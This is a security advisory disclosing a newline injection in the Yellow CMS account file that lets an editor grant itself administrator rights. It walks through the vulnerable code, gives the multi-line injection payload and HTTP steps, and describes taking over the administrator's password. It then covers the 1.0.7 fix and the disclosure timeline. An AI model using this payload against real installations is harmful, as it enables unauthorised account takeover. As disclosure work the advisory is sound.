John Jean

Chercheur en sécurité informatique. Fondateur de Wargan.

John Jean

Security researcher. Founder of Wargan.

Yellow 1.0.6: privilege escalation from editor to administrator

cve
pending
written
2026-10-14
released
2026-10-14
risk
medium
affected
Yellow 0.8.6 through 1.0.6
type
newline injection into the INI account store (CWE-93), privilege escalation
status
fixed in 1.0.7, maintainer declined coordination

[0] Application

From the Datenstrom Yellow homepage (datenstrom.se/yellow):
« Yellow is for people who make small websites. »

Yellow is a flat-file CMS written in PHP with no dependencies: pages are Markdown files with a settings header, accounts and configuration live in INI files under system/extensions/, and the web entry point is a single yellow.php. It ships with an editing interface (system/workers/edit.php) and two roles: an editor, whose default access is “create, edit, delete, restore, upload” (edit.php:26), and an administrator, who additionally holds “configure” and “update” (install.php:218). The role of a user is a line in the account file:

Email: user@example.com
Access: create, edit, delete, restore, upload
Status: active

Everything below was verified on the official Yellow 1.0.6 (core 1.0.6, commit ddd1e1e, cloned from github.com/datenstrom/yellow), on a stock install performed by the product’s own web installer, from the position of an authenticated user holding the default editor role.

The flaw has been present since the current account file format was introduced in September 2019 (core 0.8.6): every version from 0.8.6 through 1.0.6 is affected. It is fixed in 1.0.7, released on October 14, 2026, and the fix is kept in 1.0.8. We verified the fix by re-running both proofs below against 1.0.7.

The repository moved to github.com/annaesvensson/yellow on November 30, 2026, with its history: the commits cited below are the same. A CVE number has been requested and will be added here when assigned.

[I] The vulnerability

A) Overview

The account page accepts a language preference, saves it into the account file, and never rejects line breaks. A value containing a newline is written into the file verbatim, so the lines that follow it become settings of the account itself. An editor submits a language of several lines and grants itself the administrator access rights in the same request. The same injection can also overwrite the administrator’s own password hash.

B) Required data

  • An active account on the CMS, holding the default editor role (“create, edit, delete, restore, upload”). No configuration or update right is needed: the account grants them to itself.
  • The account’s own password, used to log in. The injection also rewrites the account’s password hash, which the account owner computes locally with the same algorithm (bcrypt by default).

C) Explanation

The account action reads its parameters with trim() only (system/workers/edit.php:604):

$language = trim($this->yellow->page->getRequest("language"));

trim() strips leading and trailing whitespace. An interior newline survives. The value is placed in the settings array and saved through YellowUser::save, which writes every value into system/extensions/yellow-user.ini via YellowToolbox::setTextSettings (core.php:2306), a function that interpolates values verbatim, with no escaping and no newline check. For the account file, setTextSettings runs in block mode, where replaced and appended lines are written the same way:

$textSettings .= "$matches[1]: ".$settings[$matches[1]]."\n";   /* replaced line, core.php:2343 */
...
$textSettings .= (strposu($key, "/") ? $key : ucfirst($key)).": $value\n";   /* appended line, core.php:2351 */

The account file is a flat INI where a line Key: Value inside an account block is a setting of that account, and a line Email: x starts a new block (getTextSettings, core.php:2276). An interior newline in the language value therefore injects arbitrary lines into the file.

One detail makes the injection reliable. The account’s block already contains its own Access, Home, Hash and Status lines, positioned after the injected ones. On re-parse, later lines win (getTextSettings fills settings in file order, core.php:2296-2298), so a payload that only adds an Access line is overwritten by the account’s original Access line below it. The payload instead rewrites every relevant field of its own block, then opens a throwaway block (Email: zz-junk@example.invalid) so that the account’s original lines fall into that junk block and never override the injected ones. The junk block is inert: it holds the account’s previous values and grants nothing.

D) Exploitation

Observed on a stock install of Yellow 1.0.6, with an editor account.

Step 1, control: the editor cannot configure.

POST /edit/?action=configure  (sitename=SHOULD-NOT-CHANGE)
HTTP/1.1 200

The action is ignored and the site name is unchanged: the gate isUserAccess("configure") (edit.php:662) holds for a plain editor.

Step 2, injection through the language field.

POST /edit/?action=account
language=en\n
         Access: create, edit, delete, restore, upload, configure, update\n
         Home: /\n
         Hash: <hash of the attacker's own password>\n
         Stamp: <value>\n
         Pending: none\n
         Failed: 0\n
         Status: active\n
         Email: zz-junk@example.invalid
HTTP/1.1 303

Settings saved. The account file now carries the injected Access line inside the editor’s own block.

Step 3, re-login with the same editor credentials.

POST /edit/?action=login
HTTP/1.1 303

Authenticated. The interface now serves:

yellow.user = {"email":"editor@example.com", ..., "access":
    "create, edit, delete, restore, upload, configure, update", "home":"\/"}

Step 4, the same editor configures the site.

POST /edit/?action=configure  (sitename=CHANGED-BY-A-PLAIN-EDITOR)
HTTP/1.1 303

Accepted. The home page title is now CHANGED-BY-A-PLAIN-EDITOR.

The four steps above on a second instance of ours: the editor is refused, injects its language, logs back in and configures the site.

The variant aimed at another account works the same way: the injection forges a duplicate of the administrator’s block carrying a password hash computed by the attacker (on re-parse the later block replaces the earlier one entirely), and the administrator’s account then authenticates with a password only the attacker knows. This variant was run on a local instance of the unmodified release. Against 1.0.7, both variants fail: the injected value never reaches the file (see [II]).

E) Consequences

The product’s only role boundary is the Access line of each account, and on every affected version that line is set by the account holder. Any user whose role is to edit pages can grant itself the configure and update rights, lift its Home scope to the whole site, operate the site settings, and replace the administrator’s password, locking the legitimate administrator out.

One more thing about the update right. Yellow’s updater fetches the core itself and every installed extension as zip archives of the main branch of their GitHub repositories (nine repositories in a stock install, listed in yellow-update-installed.ini, and 58 extensions from four GitHub accounts in the catalogue), unpacks them and overwrites the PHP files that run on the next request. Nothing is verified beyond an HTTP 200: no checksum, no signature, no pinned revision. Whoever holds the update button therefore runs, on the server, whatever those repositories contain at that moment. We rate the issue medium: it requires an editor account, the administrator interface it unlocks is small, and turning the update button into code execution requires one of those repositories to be compromised first. Should that happen, the same editor account would be one click away from code execution on the server, and the rating would no longer be medium.

[II] Mitigation

The vendor’s fix in core 1.0.7 sits at the root of the problem. YellowSystem::save and YellowUser::save now reject every value containing a line break (system/workers/core.php, commits 1db6a98 and 991235d):

if (!is_string_empty($key) && !is_string_empty($value)) {

becomes

if (!is_string_empty($key) && !is_string_empty($value) && !preg_match("/[\r\n]/", $value)) {

Both save functions carry the same added clause. Before the fix, the only newline check in the codebase was on the mail header path (normaliseHeaders, core.php:1488). Both proofs of [I] were re-run against 1.0.7: the self-escalation and the administrator takeover both fail, the account block is unchanged and the configure gate holds. Core 1.0.8, released the same day, keeps the fix and adds a normaliseInput helper that rejects line breaks at the input. At the time of writing the account action does not call it yet.

Administrators running an affected release should update to 1.0.7 or later, or apply the same clause to their build, and review the account file for blocks they did not create. For the same product, three more measures would help:

  • validate the language field against the installed languages instead of trimming it, and reject line breaks in every settings writer at the input, not only in the save function.
  • sign the authentication cookies with a server-side secret rather than the stored password hash (createAuthToken, edit.php:1651): today a read of the account file lets an attacker mint sessions offline, for arbitrary lifetimes. The shipped .htaccess protects the file on Apache with mod_rewrite, but the product ships no nginx configuration.
  • verify the integrity of extension downloads (digest or signature) and point the catalogue at tagged artifacts instead of mutable main branches.

[III] Timeline

2026/10/12: First contact through the vendor's website form, no technical
            details, asking for an address to send the report
2026/10/13: The maintainer replies that he does not wish to coordinate
            and invites us to publish
2026/10/14: Core 1.0.7 released overnight with the fix (commits 1db6a98 and
            991235d), no release note
2026/10/14: Our reply rejected as spam by the maintainer's mail server.
            Core 1.0.8 released, fix kept
2026/10/14: CVE requested
2026/11/30: The repository moves to github.com/annaesvensson/yellow
2026/12/02: This page updated and opened to search engines

[IV] Author

John JEAN is a French security researcher, CTO at Wargan (https://www.wargan.com).
Follow me on X @johnjean

[V] PGP

My current PGP key is 0xDC3CB82BF0967AF0, you can get it on the Work with me page.